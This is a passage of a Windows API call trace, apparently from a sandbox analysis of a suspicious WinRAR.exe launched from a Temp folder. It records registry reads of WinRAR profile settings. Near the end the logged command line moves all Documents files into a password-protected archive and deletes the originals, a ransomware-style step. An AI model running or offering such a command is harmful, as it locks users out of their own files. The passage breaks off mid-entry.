(dwErrCode=0x5b0) [0053.102] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.102] RegQueryValueExW (in: hKey=0x168, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.102] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="ClearArc", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="Lock", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="Method", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x3, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x400000, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="DictSize", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x2000000, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.103] GetLastError () returned 0x5b0 [0053.103] SetLastError (dwErrCode=0x5b0) [0053.103] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.103] RegQueryValueExW (in: hKey=0x168, lpValueName="Name", lpReserved=0x0, lpType=0x1e9c64, lpData=0x1ea7c0, lpcbData=0x1e9c60*=0x200 | out: lpType=0x1e9c64*=0x1, lpData="Default Profile", lpcbData=0x1e9c60*=0x20) returned 0x0 [0053.103] RegCloseKey (hKey=0x168) returned 0x0 [0053.104] GetLastError () returned 0x5b0 [0053.104] SetLastError (dwErrCode=0x5b0) [0053.104] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e8200 | out: phkResult=0x1e8200*=0x168) returned 0x0 [0053.104] RegQueryValueExW (in: hKey=0x168, lpValueName="PasswordData", lpReserved=0x0, lpType=0x1e8664, lpData=0x1ea2c0, lpcbData=0x1e8660*=0x200 | out: lpType=0x1e8664*=0x3, lpData=0x1ea2c0*, lpcbData=0x1e8660*=0x1) returned 0x0 [0053.104] RegCloseKey (hKey=0x168) returned 0x0 [0053.104] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x200) returned 0x315370 [0053.104] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x315370 | out: hHeap=0x2e0000) returned 1 [0053.104] GetLastError () returned 0x5b0 [0053.104] SetLastError (dwErrCode=0x5b0) [0053.104] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e8a90 | out: phkResult=0x1e8a90*=0x168) returned 0x0 [0053.104] RegQueryValueExW (in: hKey=0x168, lpValueName="EncryptHeaders", lpReserved=0x0, lpType=0x1e8ef4, lpData=0x1e8ef0, lpcbData=0x1e8f28*=0x4 | out: lpType=0x1e8ef4*=0x4, lpData=0x1e8ef0*=0x0, lpcbData=0x1e8f28*=0x4) returned 0x0 [0053.104] RegCloseKey (hKey=0x168) returned 0x0 [0053.104] GetLastError () returned 0x5b0 [0053.104] SetLastError (dwErrCode=0x5b0) [0053.104] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e8a90 | out: phkResult=0x1e8a90*=0x168) returned 0x0 [0053.104] RegQueryValueExW (in: hKey=0x168, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0x1e8ef4, lpData=0x1e8ef0, lpcbData=0x1e8f28*=0x4 | out: lpType=0x1e8ef4*=0x4, lpData=0x1e8ef0*=0x0, lpcbData=0x1e8f28*=0x4) returned 0x0 [0053.104] RegCloseKey (hKey=0x168) returned 0x0 [0053.104] GetLastError () returned 0x5b0 [0053.104] SetLastError (dwErrCode=0x5b0) [0053.104] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.104] RegQueryValueExW (in: hKey=0x168, lpValueName="OpenShared", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.104] RegCloseKey (hKey=0x168) returned 0x0 [0053.104] GetLastError () returned 0x5b0 [0053.104] SetLastError (dwErrCode=0x5b0) [0053.104] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.104] RegQueryValueExW (in: hKey=0x168, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="SaveStreams", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="Background", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="WaitForOther", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.105] GetLastError () returned 0x5b0 [0053.105] SetLastError (dwErrCode=0x5b0) [0053.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.105] RegQueryValueExW (in: hKey=0x168, lpValueName="Shutdown", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.105] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="VersionControl", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="BLAKE2", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="FileCopies", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="QuickOpen", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x1, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.106] SetLastError (dwErrCode=0x5b0) [0053.106] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.106] RegQueryValueExW (in: hKey=0x168, lpValueName="GenerateMask", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2ba81a, lpcbData=0x1e9c60*=0x100 | out: lpType=0x1e9c64*=0x1, lpData="yyyymmddhhmmss", lpcbData=0x1e9c60*=0x1e) returned 0x0 [0053.106] RegCloseKey (hKey=0x168) returned 0x0 [0053.106] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="FileDays", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="FileHours", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="FileMinutes", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="ArcTimeOriginal", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.107] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.107] RegQueryValueExW (in: hKey=0x168, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.107] RegCloseKey (hKey=0x168) returned 0x0 [0053.107] GetLastError () returned 0x5b0 [0053.107] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="mtime", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x4, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="ctime", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="atime", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="PathsAbs", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="PathsNone", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.108] RegQueryValueExW (in: hKey=0x168, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.108] RegCloseKey (hKey=0x168) returned 0x0 [0053.108] GetLastError () returned 0x5b0 [0053.108] SetLastError (dwErrCode=0x5b0) [0053.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="ImmExec", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetLastError () returned 0x5b0 [0053.109] SetLastError (dwErrCode=0x5b0) [0053.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="SeparateArc", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetLastError () returned 0x5b0 [0053.109] SetLastError (dwErrCode=0x5b0) [0053.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetLastError () returned 0x5b0 [0053.109] SetLastError (dwErrCode=0x5b0) [0053.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea090 | out: phkResult=0x1ea090*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0x1ea4f4, lpData=0x1ea4f0, lpcbData=0x1ea528*=0x4 | out: lpType=0x1ea4f4*=0x4, lpData=0x1ea4f0*=0x0, lpcbData=0x1ea528*=0x4) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetLastError () returned 0x5b0 [0053.109] SetLastError (dwErrCode=0x5b0) [0053.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0x1e9c64, lpData=0x13f2baa34, lpcbData=0x1e9c60*=0x1000 | out: lpType=0x1e9c64*=0x1, lpData="", lpcbData=0x1e9c60*=0x2) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetLastError () returned 0x5b0 [0053.109] SetLastError (dwErrCode=0x5b0) [0053.109] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9800 | out: phkResult=0x1e9800*=0x168) returned 0x0 [0053.109] RegQueryValueExW (in: hKey=0x168, lpValueName="PackDetails", lpReserved=0x0, lpType=0x1e9c64, lpData=0x1ea550, lpcbData=0x1e9c60*=0xc0 | out: lpType=0x1e9c64*=0x3, lpData=0x1ea550*, lpcbData=0x1e9c60*=0xc0) returned 0x0 [0053.109] RegCloseKey (hKey=0x168) returned 0x0 [0053.109] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0053.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x305ee0 [0053.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x305ee0 | out: hHeap=0x2e0000) returned 1 [0053.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306810 [0053.109] HeapFree (in: 